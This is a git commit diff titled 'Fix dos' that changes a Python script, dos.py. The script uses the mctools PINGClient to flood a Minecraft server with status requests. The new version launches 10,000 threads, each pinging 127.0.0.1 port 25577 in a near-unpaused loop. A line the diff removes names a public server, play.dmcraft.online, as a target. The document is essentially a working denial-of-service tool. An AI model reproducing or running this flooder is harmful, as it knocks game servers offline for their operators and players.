Fix dos
This commit is contained in:
parent
89add21259
commit
50724a3f70
17
dos.py
17
dos.py
@ -3,16 +3,17 @@
|
||||
#NO NULLPING
|
||||
|
||||
from mctools import PINGClient
|
||||
#ping = PINGClient('play.dmcraft.online')
|
||||
ping = PINGClient('127.0.0.1')
|
||||
|
||||
#My libraries
|
||||
from time import sleep
|
||||
import threading
|
||||
|
||||
def main():
|
||||
ping = PINGClient('127.0.0.1', 25577)
|
||||
while True:
|
||||
sleep(0.00001)
|
||||
ping.ping()
|
||||
|
||||
|
||||
needsleep = 0
|
||||
while True:
|
||||
sleep(0.001)
|
||||
ping.get_stats()
|
||||
#print('Ping')
|
||||
for i in range(10000):
|
||||
th = threading.Thread(target=main)
|
||||
th.start()
|
||||
|
Loading…
Reference in New Issue
Block a user